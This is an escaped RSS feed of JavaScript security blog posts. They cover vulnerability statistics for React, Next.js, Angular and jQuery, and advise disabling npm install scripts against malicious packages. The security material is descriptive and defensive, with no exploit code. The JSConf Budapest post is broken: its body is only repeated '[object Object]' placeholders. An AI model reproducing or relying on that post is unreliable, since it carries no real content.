&lt;li&gt;If you’re doing tooltips in your frontend React application you might be one of the users of &lt;a href=&quot;https://snyk.io/vuln/npm:react-tooltip&quot;&gt;react-tooltip&lt;/a&gt; which received just shy of one million downloads (994,903) in July 2019 alone. This library however is vulnerable to Cross-Site Scripting attacks for all versions prior to 3.8.1 as was disclosed in September 2018.&lt;/li&gt;
&lt;li&gt;If you are working with SVGs a lot, good chances you are using &lt;a href=&quot;https://snyk.io/vuln/npm:react-svg:20180427&quot;&gt;react-svg&lt;/a&gt; which features 1,446,442 downloads in the past 12 months. In April 2018 a high severity Cross-Site Scripting vulnerability was disclosed by security researcher Ron Perris affecting all versions prior to 2.2.18.&lt;/li&gt;
&lt;li&gt;A CSV Injection vulnerability in &lt;a href=&quot;https://snyk.io/vuln/SNYK-JS-MUIDATATABLES-174185&quot;&gt;mui-datatables&lt;/a&gt; disclosed in March 2019. This react library provides a table data related UI component based on the material ui framework and features more than 350,000 downloads in the past 12 months.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When we track all the vulnerable React modules we found, we count eight security vulnerabilities over the last three years with two in 2017, six in 2018 and two up until August 2019. This calls for responsible usage of open source and making sure you find and fix vulnerabilities as quickly as possible.&lt;/p&gt;
&lt;h3 id=&quot;spotlight-nextjs-security-vulnerabilities&quot;&gt;Spotlight: Next.js security vulnerabilities&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://nextjs.org/&quot;&gt;Next.js&lt;/a&gt; is the popular React framework delivered from ZEIT, empowering web developers to harness their knowledge of React in order to build SEO-friendly web applications, Server-side rendering applications, Progress Web Applications (PWA) and even Electron- based applications, all based on the Next.js framework.&lt;/p&gt;
&lt;p&gt;Next.js continues to gain developer adoption, with 8,414,925 downloads over the past 12 months. As the project continues to grow it becomes increasingly important to take a look at its security status.&lt;/p&gt;
&lt;p&gt;We tracked three high Directory Traversal vulnerabilities, and two medium severity Cross-Site Scripting vulnerabilities impacting the Next.js React framework during the course of 2017 through 2018. We should also point out that the ZEIT Security team swiftly addressed all five security vulnerabilities and provided a fix through an upgrade path for the Next.js framework within a week’s time.&lt;/p&gt;
&lt;p&gt;Overall, ZEIT employs strong security practices that should be replicated by other open source projects. Particularly notable includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The team responds quickly to security disclosures by releasing timely security fixes. This translates into a small window during which time there is an actual security risk; ZEIT provides users with an upgrade path so they can quickly mitigate the vulnerability.&lt;/li&gt;
&lt;li&gt;To avoid security regressions the team has written &lt;a href=&quot;https://github.com/zeit/next.js/blob/master/test/integration/production/test/security.js&quot;&gt;security unit tests&lt;/a&gt; to ensure that security mistakes do not repeat themselves.&lt;/li&gt;
&lt;li&gt;Release notes &lt;a href=&quot;https://github.com/zeit/next.js/releases/tag/7.0.2&quot;&gt;clearly communicate security-related information&lt;/a&gt;, its impact and any steps users are required to follow in order to stay up-to-date with a security fix.&lt;/li&gt;
&lt;li&gt;The project maintains a mailing-list dedicated to security reports, a &lt;a href=&quot;https://zeit.co/security&quot;&gt;responsible disclosure policy&lt;/a&gt; and a dedicated email contact for reporting issues.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ZEIT and their management of the Next.js framework is a great example of good open source security policies; ZEIT takes matters seriously and demonstrates a true commitment to the overall security of their users with policies and actions that should be adopted by others.&lt;/p&gt;
&lt;p&gt;Or download the &lt;a href=&quot;https://bit.ly/js-security-report&quot;&gt;full version of the report&lt;/a&gt; in its digital format.&lt;/p&gt;</content:encoded></item><item><title>Comparing React and Angular secure coding practices</title><link>https://lirantal.com/blog/comparing-react-and-angular-secure-coding-practices-snyk-96315e3faf7d/</link><guid>https://lirantal.com/blog/comparing-react-and-angular-secure-coding-practices-snyk-96315e3faf7d/</guid><description>As a follow-up to Snyk’s State of JavaScript frameworks security report 2019, this section of the report is about Angular and React…</description><pubDate>Wed, 30 Oct 2019 00:01:35 GMT</pubDate><content:encoded>&lt;p&gt;As a follow-up to Snyk’s State of JavaScript frameworks security report 2019, this section of the report is about Angular and React projects overall security posture.&lt;/p&gt;
&lt;p&gt;The full report is available here: &lt;a href=&quot;https://bit.ly/js-security-report&quot;&gt;https://bit.ly/js-security-report&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In this section, we explore both the Angular and the React project security postures. This includes secure coding conventions, built-in in secure capabilities, responsible disclosure policies, and dedicated security documentation for the project.&lt;/p&gt;
&lt;p&gt;The following table lays out a few of the security components we found to be essential for best-practice maintenance of any open source package, and an indication of how Angular and React manage said components (if at all).&lt;/p&gt;
&lt;p&gt;Comparing React and Angular’s security policy components:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://snyk.io/blog/comparing-react-and-angular-secure-coding-practices/&quot;&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*LJePWE1UMQENiZW1Y9bBOQ.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;angular-secure-coding-practices&quot;&gt;Angular secure coding practices&lt;/h3&gt;
&lt;p&gt;Angular v2 and later, have a completely different architecture than Angular v1, such as unidirectional data binding. What’s more, the v2 and later versions have left automatic data interpolation via watchers behind, as well as other techniques that were often the cause for many of the Angular v1 security vulnerabilities.&lt;/p&gt;
&lt;p&gt;Ahead of Time (AoT) compilation mitigates issues such as Angular templating expression injection and allows for build-time security instead&lt;br&gt;
of run-time security. However, dynamically interpolating templates on the client-side still leaves the door open for security vulnerabilities in the form of Angular code injection. In their own best practices documentation, Angular clearly emphasize that this dynamic interpolating is highly unadvisable. With respect to Angular’s documentation, these are highly discouraged as Angular’s best practices clearly point out.&lt;/p&gt;
&lt;p&gt;To mitigate Cross-Site Scripting vulnerabilities, Angular employs by default context-aware output encoding, or malicious code sanitization. Moreover, method naming conventions are much better understood, in terms of their impact, if a developer consciously chooses to use them, as opposed to earlier Angular versions, namely Angular v1.x.&lt;/p&gt;
&lt;p&gt;Methods such as &lt;strong&gt;bypassSecurityTrustHtml(value)&lt;/strong&gt; or &lt;strong&gt;bypassSecurityTrustUrl()&lt;/strong&gt; implicitly convey the dangers of using them to insert data into the DOM. Moreso, Angular provides a built-in DomSanitizer to explicitly sanitize values.&lt;/p&gt;
&lt;h3 id=&quot;react-secure-coding-practices&quot;&gt;React secure coding practices&lt;/h3&gt;
&lt;p&gt;React by default encodes almost all data values when creating DOM elements. To provide users with an escape hatch to insert HTML content into the DOM, React is equipped with the eloquently-named function &lt;strong&gt;dangerouslySetInnerHTML()&lt;/strong&gt;, clearly conveying the dangers of using it.&lt;/p&gt;
&lt;p&gt;Contexts that are unattended by the React security model and are handled by the users include creating:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTML anchor (link) elements with user- provided input as the source for the href attribute value. This mostly applies to versions prior to the recently released React v16.9 which mitigates &lt;strong&gt;&lt;em&gt;javascript:&lt;/em&gt;&lt;/strong&gt;-based URLs in attribute values and other contexts such as form actions, iFrame sources, and others.&lt;/li&gt;
&lt;li&gt;React components from user-provided input&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;React’s server-side rendering could potentially introduce XSS vulnerabilities if malicious user input is injected as-is to a JavaScript context without being properly encoded or sanitized.&lt;/p&gt;
&lt;h3 id=&quot;http-security&quot;&gt;HTTP security&lt;/h3&gt;
&lt;p&gt;Starting with version 1.2, Angular v1.x release branches have introduced compatibility support for Content Security Policy (CSP) which is necessary due to the use of &lt;strong&gt;eval()&lt;/strong&gt; and &lt;strong&gt;Function()&lt;/strong&gt; methodology to interpolate expressions.&lt;/p&gt;
&lt;p&gt;Cross-Site Request Forgery (CSRF) enables web applications to trust the origin of a request. In newer Angular versions, CSRF support mechanism is built-in to the HTTP client with the &lt;strong&gt;@angular/common/ http&lt;/strong&gt; module. In Angular v1.x versions similar capability is supported through the &lt;strong&gt;$http&lt;/strong&gt; provider.&lt;/p&gt;
&lt;p&gt;Unlike Angular, React doesn’t include an HTTP client and as such, it is unable to provide CSRF support out-of-the-box. As React aims to be a minimalistic view library, handling this concern is up to the developer, using custom code or community-powered modules.&lt;/p&gt;
&lt;p&gt;We &lt;strong&gt;highly recommend&lt;/strong&gt; &lt;strong&gt;to download&lt;/strong&gt; the &lt;a href=&quot;https://bit.ly/js-security-report&quot;&gt;full version of the report&lt;/a&gt; in its digital format, but have also made the following general sections available as blog posts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/javascript-frameworks-security-report-2019/&quot;&gt;The state of JavaScript frameworks security report 2019&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/angular-vs-react-security-bakeoff-2019&quot;&gt;Angular vs React: Security Bakeoff 2019&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/2019-side-by-side-comparison-of-angular-and-react-security-vulnerabilities&quot;&gt;2019 Side by Side Comparison of Angular and React Security Vulnerabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/angular-vs-react-the-security-risk-of-indirect-dependencies&quot;&gt;Angular vs React: The Security Risk of Indirect Dependencies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/comparing-react-and-angular-secure-coding-practices/&quot;&gt;Comparing React and Angular Secure Coding Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/84-percent-of-all-websites-impacted-by-jquery-xss-vulnerabilities/&quot;&gt;84% of all websites are impacted by jQuery XSS vulnerabilities&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>84% of all websites are impacted by jQuery XSS vulnerabilities</title><link>https://lirantal.com/blog/84-of-all-websites-are-impacted-by-jquery-xss-vulnerabilities-snyk-4c73a935ab11/</link><guid>https://lirantal.com/blog/84-of-all-websites-are-impacted-by-jquery-xss-vulnerabilities-snyk-4c73a935ab11/</guid><description>This article is from Snyk’s State of JavaScript frameworks security report 1.    In this blog post we’ll review security vulnerabilities…</description><pubDate>Wed, 30 Oct 2019 00:01:26 GMT</pubDate><content:encoded>&lt;p&gt;In this blog post we’ll review security vulnerabilities found in other frontend ecosystem projects.&lt;/p&gt;
&lt;p&gt;After reviewing Angular and React as major JavaScript frameworks, we’ll take a brief review of selected JavaScript and CSS frameworks: Vue.js, jQuery and Bootstrap.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bit.ly/js-security-report&quot;&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/0*gZdcnvDzxxzIQzH_.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;jquery-security&quot;&gt;jQuery security&lt;/h3&gt;
&lt;p&gt;jQuery took web development by storm a decade ago but since then web development have been revolutionized further with single page application technologies such as Angular, and React. That said, according to W3Techs which regularly run surveys and report on web technology usage jQuery is being used within 73% of websites they scanned in August 2019.&lt;/p&gt;
&lt;p&gt;A Snyk study from 2017 further amplifies this when it reported that &lt;a href=&quot;https://snyk.io/blog/77-percent-of-sites-still-vulnerable/&quot;&gt;77% of sites use at least one vulnerable JavaScript library&lt;/a&gt; and pointed out jQuery was detected in 79% of the top 5,000 URLs from Alexa. If you’re still not convinced, npm’s downloads for the jQuery npm module account to 120,641,977 for the last 12 months alone.&lt;/p&gt;
&lt;p&gt;In total, we tracked six security vulnerabilities affecting jQuery across all of its releases to date, four of which are medium severity Cross-Site Scripting vulnerabilities, one is a medium severity Prototype Pollution vulnerability, and lastly, one is a low Denial of Service vulnerability. If you’re not using jQuery 3.4.0 and above which was released only recently, on 10th of Apr, 2019, then you are using vulnerable jQuery versions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__XJZyzJ4cg3bP__Pn7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Since jQuery is usually found in web applications as a legacy component it is important to also understand its version usage patterns and their state of security.&lt;/p&gt;
&lt;p&gt;W3Techs reports that of all websites using jQuery, it’s 1.x release is dominating with 83.4% of share and version 2 and 3 lag far behind with roughly 8% of all jQuery usage. When looking at the known security vulnerabilities and map them out to jQuery versions we found that four medium severity Cross-Site Scripting vulnerabilities are affecting jQuery v1 which is potentially concerning considering the 83.4% market share for anybody not employing software composition analysis to find and fix vulnerabilities in their open source components.&lt;/p&gt;
&lt;p&gt;Many websites and web applications will further make use of jQuery libraries to extend the capabilities of jQuery and will turn to community- powered libraries to do so.&lt;/p&gt;
&lt;p&gt;We found 13 vulnerable jQuery libraries as provided in the following table and offer the following observations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Three jQuery libraries are malicious versions of open source community modules. As we can’t account for the downloads of the actual vulnerable versions since this isn’t available from the npm registry, we should call out jquery.js which is a malicious package and accounted for 5,444 downloads in the past 12 months.&lt;/li&gt;
&lt;li&gt;jQuery libraries &lt;a href=&quot;https://snyk.io/vuln/npm:jquery-mobile&quot;&gt;jquery-mobile&lt;/a&gt;, &lt;a href=&quot;https://snyk.io/vuln/npm:jquery-file-upload&quot;&gt;jquery-file-upload&lt;/a&gt; and &lt;a href=&quot;https://snyk.io/vuln/npm:jquery-colorbox&quot;&gt;jquery-colorbox&lt;/a&gt; account to more than 340,000 downloads in the past 12 months, despite including Arbitrary Code Execution and Cross-Site Scripting security vulnerabilities and not having any upgrade path to remediate them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://snyk.io/blog/84-percent-of-all-websites-impacted-by-jquery-xss-vulnerabilities/&quot;&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*9MqP5WaRjPvF-0iAOKLR3g.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;*malicious packages have no fix information.&lt;/p&gt;
&lt;p&gt;I &lt;strong&gt;highly recommend&lt;/strong&gt; &lt;strong&gt;to download&lt;/strong&gt; the &lt;a href=&quot;https://bit.ly/js-security-report&quot;&gt;full version of the report&lt;/a&gt; in its digital format, but have also made the following general sections available as blog posts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/javascript-frameworks-security-report-2019/&quot;&gt;The state of JavaScript frameworks security report 2019&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/angular-vs-react-security-bakeoff-2019&quot;&gt;Angular vs React: Security Bakeoff 2019&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/2019-side-by-side-comparison-of-angular-and-react-security-vulnerabilities&quot;&gt;2019 Side by Side Comparison of Angular and React Security Vulnerabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/angular-vs-react-the-security-risk-of-indirect-dependencies&quot;&gt;Angular vs React: The Security Risk of Indirect Dependencies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/comparing-react-and-angular-secure-coding-practices/&quot;&gt;Comparing React and Angular Secure Coding Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/84-percent-of-all-websites-impacted-by-jquery-xss-vulnerabilities/&quot;&gt;84% of all websites are impacted by jQuery XSS vulnerabilities&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>A Snyk peek into Node.js and npm’s state of open source security report 2019</title><link>https://lirantal.com/blog/a-snyk-peek-into-node-js-and-npms-state-of-open-source-security-report-2019-2209a5adc1e0/</link><guid>https://lirantal.com/blog/a-snyk-peek-into-node-js-and-npms-state-of-open-source-security-report-2019-2209a5adc1e0/</guid><description>In the State of Open Source Security Report 2019, we set out to measure the pulse of the open source security landscape throughout the…</description><pubDate>Wed, 09 Oct 2019 14:05:00 GMT</pubDate><content:encoded>&lt;p&gt;In the &lt;a href=&quot;https://snyk.io/stateofossecurity/&quot;&gt;State of Open Source Security Report 2019&lt;/a&gt;, we set out to measure the pulse of the open source security landscape throughout the different language ecosystems and have analyzed responses from over five hundred open source maintainers and users who provided us with insights into their processes and knowledge of open source security risks as well as the skill level of the average maintainer.&lt;/p&gt;
&lt;p&gt;In addition to gaining insights from survey takers, we also analyzed data from multiple public and private sources, including Snyk’s own vulnerability database, to evaluate how security issues differ across languages, how fast it takes users to adopt version upgrades that provide security fixes, and much more. In this year’s report, we also investigated how vulnerabilities impact Docker users, and what you should know to mitigate the security risk.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://snyk.io/test&quot;&gt;Run a quick test&lt;/a&gt; to check for known vulnerabilities in public GitHub repos and npm packages.&lt;/p&gt;
&lt;h3 id=&quot;the-npm-ecosystem&quot;&gt;The npm ecosystem&lt;/h3&gt;
&lt;p&gt;When we checked the Snyk vulnerability database, we identified several vulnerability types that have a unique and significant presence in the JavaScript &amp;#x26; Node.js ecosystems. The first family of vulnerability types is Path and Directory Traversal which stand out in the npm ecosystem, with record numbers for both 2017 and 2018–146 and 143 disclosures respectively. The other ecosystems are much further behind, or do I mean ahead? Either way, having less vulnerabilities reported is a good thing for them!&lt;/p&gt;
&lt;p&gt;Hundreds of these vulnerabilities can be attributed to the security research work that Snyk performed in collaboration with &lt;a href=&quot;https://github.com/JacksonGL&quot;&gt;Liang Gong&lt;/a&gt;, a security researcher at Facebook and CS Ph.D. at Berkeley. The research uncovered tens of Directory Traversal vulnerabilities in the npm ecosystem. Furthermore, the research showed that static and dynamic web servers are commonly found in the npm registry, as this is a repeating need for many developer use-cases.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__cebwWse7wKzRuF3w.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Another interesting vulnerability type is one that is almost completely unique to Node.js, called Regular Expression Denial of Service (ReDoS). This kind of attack exploits the non-linear worst-case complexity vulnerabilities that some regex patterns can lead to. For a single-threaded runtime, this could be devastating, and this is why Node.js is significantly affected by this type of vulnerability. This may of course change with the increase in popularity we’re seeing among serverless technologies. A pay-per-use model will mean that a ReDoS attack will cause a dynamic scaling of the system which could lead to an expensive outcome for the service owner — a Denial of Funding situation perhaps!&lt;/p&gt;
&lt;p&gt;The Node.js runtime is known to have many strengths. The single threaded event-loop is one, and this can also be its weakest link when used incorrectly. This happens more regularly than one might think. In a March 2018, a security release of the official Node.js runtime included a patch to fix a high severity ReDoS vulnerability in the core path module, which affected the Node.js 4.x release lines. The fix for the vulnerability that was found by &lt;a href=&quot;https://twitter.com/thedavisjam&quot;&gt;James Davis&lt;/a&gt; of Virginia Tech was also ported to Node.js 6.x and later versions to mitigate the problem.&lt;/p&gt;
&lt;p&gt;To emphasize how unique this vulnerability is to Node.js we examined other ecosystems between the years of 2016 to 2019 and found that PHP had only one ReDoS vulnerability reported in 2017. The Java and Ruby ecosystems each saw one vulnerability reported in 2018. Node.js, on the other hand, had 116 vulnerabilities in total reported over the last three years, and the rate of disclosure is showing a growing trend. That said, it’s important to distinguish between vulnerabilities that exist in code versus vulnerabilities that are actually reported. These numbers do not provide insight about the number of vulnerabilities that were added into code-bases during this time, but rather how many were discovered and eliminated from code bases. We could equally have looked at this graph and been pleased that focus is being put on finding and eliminating ReDoS vulnerabilities, as this would mean that we are likely to see fewer issues in the wild going forward.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__lufb49va7JucSMHI.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://snyk.io/opensourcesecurity-2019/&quot;&gt;Continue reading&lt;/a&gt; on more findings of the report&lt;/p&gt;</content:encoded></item><item><title>My first time at JSConf Budapest, how was it?</title><link>https://lirantal.com/blog/2019-10-04_jsconf-budapest-review/</link><guid>https://lirantal.com/blog/2019-10-04_jsconf-budapest-review/</guid><description>Sharing my thoughts and experience on attending JSConf Budapest for the first time</description><pubDate>Fri, 04 Oct 2019 00:00:00 GMT</pubDate><content:encoded>[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object]</content:encoded></item><item><title>npm security tips to keep you safe of malicious modules</title><link>https://lirantal.com/blog/2019-08-19_npm-tips-to-keep-you-safe/</link><guid>https://lirantal.com/blog/2019-08-19_npm-tips-to-keep-you-safe/</guid><description>npm security tips to keep you safe of malicious modules</description><pubDate>Mon, 19 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Tip 3: Minimize attack surfaces by ignoring run-scripts (out of &lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;10 npm security best practices&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;The npm CLI works with package run-scripts. If you’ve ever run &lt;code&gt;npm start&lt;/code&gt; or &lt;code&gt;npm test&lt;/code&gt; then you’ve used package run-scripts too.&lt;/p&gt;
&lt;p&gt;The npm CLI builds on scripts that a package can declare, and allows packages to define scripts to run at specific entry points during the package’s installation in a project.&lt;/p&gt;
&lt;p&gt;For example, some of these &lt;a href=&quot;https://docs.npmjs.com/misc/scripts&quot;&gt;script hook&lt;/a&gt; entries may be &lt;code&gt;postinstall&lt;/code&gt; scripts that a package that is being installed will execute in order to perform housekeeping chores.&lt;/p&gt;
&lt;p&gt;With this capability, bad actors may create or alter packages to perform malicious acts by running any arbitrary command when their package is installed.&lt;/p&gt;
&lt;p&gt;A couple of cases where we’ve seen this already happening is the popular &lt;a href=&quot;https://snyk.io/vuln/npm:eslint-scope:20180712&quot;&gt;eslint-scope&lt;/a&gt; incident that harvested npm tokens, and the &lt;a href=&quot;https://snyk.io/vuln/npm:crossenv:20170802&quot;&gt;crossenv&lt;/a&gt; incident, along with 36 other packages that abused a typosquatting attack on the npm registry.&lt;/p&gt;
&lt;p&gt;Apply these best practices in order to minimize the malicious module attack surface:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Always vet and perform due-diligence on third-party modules that you install in order to confirm their health and credibility.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hold-off on upgrading blindly to new versions; allow new package versions some time to circulate before trying them out.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Before upgrading, make sure to review changelog and release notes for the upgraded version.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When installing packages make sure to add the &lt;code&gt;--ignore-scripts&lt;/code&gt; suffix to disable the execution of any scripts by third-party packages.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Consider adding &lt;code&gt;ignore-scripts&lt;/code&gt; to your &lt;code&gt;.npmrc&lt;/code&gt; project file, or to your global npm configuration.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;—&lt;/p&gt;
&lt;p&gt;I also blogged about a complete &lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;10 npm security best practices&lt;/a&gt; you should adopt in a post that includes a high-resolution printable PDF like the snippet you see below.&lt;/p&gt;
&lt;p&gt;Thanks for reading and to &lt;a href=&quot;https://twitter.com/jotadeveloper&quot;&gt;Juan Picado&lt;/a&gt; from the Verdaccio team who worked with me on it.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;&lt;img src=&quot;/images/blog/yvey2bykpvbjcxrurqoz.png&quot; alt=&quot;Node Version&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>6 stages of refactoring a jest test case</title><link>https://lirantal.com/blog/2019-06-14_6-stages-of-refactoring-a-jest-test-case/</link><guid>https://lirantal.com/blog/2019-06-14_6-stages-of-refactoring-a-jest-test-case/</guid><description>what makes a test case good? how can we improve the developer friendliness when writing test code?</description><pubDate>Fri, 14 Jun 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;An underrated feature of Jest is customizing the assertion errors that the console displays when tests fail. Imagine the following test code, which needs to programmatically loop an object to ensure keys exist as expected:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/3kg7kab34fwkx3t4njsp.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The test is written fine but imagine a developer on the team made some changes to the code, added a new file in one place, but forgot to add it to another place such as to export it properly.&lt;/p&gt;
&lt;p&gt;When the test fails the reason for failing will not be intuitive and if you’re new to the code you’d likely not even know what broke:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/5ctqlb4g9jbfdmnnbezn.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;So jest has more semantic expectations such as toHaveProperty(), which looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/mddxn4w5h8l40tixxidp.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now when a test fails it at least makes it clearer as to which property is missing, but it’s still a bit cryptic as you can see in the screenshot. What can we do? 🤔&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/3ti80y830wqjeh6k66xn.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;At this point, it might be good enough. The test name is self-explanatory as you can see but the issue is that we have just one test case that fails and when looking at a test trace it isn’t very obvious which validators were used exactly.&lt;/p&gt;
&lt;p&gt;Let’s refactor:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/l1uagsnyipzk5rzm8kzg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now, when my test pass or fail, it is much more obvious and intuitive as to what exactly was tested, what exactly failed, and why:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/d4q9gk8rw10k44koym4n.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Much better! 🌈🦄🎉&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;If you love Jest as much as I do (😍) you might also be interested in reading some of my other pieces on jest here on dev.to!:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.to/lirantal/demystifying-jest-async-testing-patterns-4n5n&quot;&gt;Demystifying Jest Async Testing Patterns
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.to/lirantal/reasons-to-love-jest-the-developer-experience-4o6f&quot;&gt;Reasons to Love Jest: The Developer Experience
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.to/lirantal/reasons-to-love-jest-the-test-framework-2hoe&quot;&gt;Reasons to Love Jest: The Test Framework
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>npm passes the 1 millionth package milestone! What can we learn?</title><link>https://lirantal.com/blog/2019-06-04_npm-passes-1-million-packages/</link><guid>https://lirantal.com/blog/2019-06-04_npm-passes-1-million-packages/</guid><description>June 4th is a historic date where the millionth package was indexed into the npm registry. npm is a package manager for JavaScript packages.</description><pubDate>Tue, 04 Jun 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;June 4th is a historic date where the millionth package was indexed into the npm registry. npm is a package manager for JavaScript packages.&lt;/p&gt;
&lt;p&gt;We wanted to share some insights that we thought are interesting and could get our hands on&lt;/p&gt;
&lt;h2 id=&quot;what-are-npms-most-popular-packages-how-many-vulnerabilities-are-associated-with-them&quot;&gt;What are npm’s most popular packages? how many vulnerabilities are associated with them?&lt;/h2&gt;
&lt;p&gt;Here are the top 3&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;lodash: 3 vulnerabilities (1 high sev)&lt;/li&gt;
&lt;li&gt;request: 1 vulnerability (17 typosquatting attempts)&lt;/li&gt;
&lt;li&gt;chalk	0 vulnerabilities: (1 typosquatting attempt)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-many-downloads-do-the-top-10-packages-pull-in&quot;&gt;How many downloads do the top 10 packages pull in?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;debug: &gt;40 million weekly downloads&lt;/li&gt;
&lt;li&gt;kind-of: &gt;34 million weekly downloads&lt;/li&gt;
&lt;li&gt;supports-color: &gt;34 million weekly downloads&lt;/li&gt;
&lt;/ul&gt;
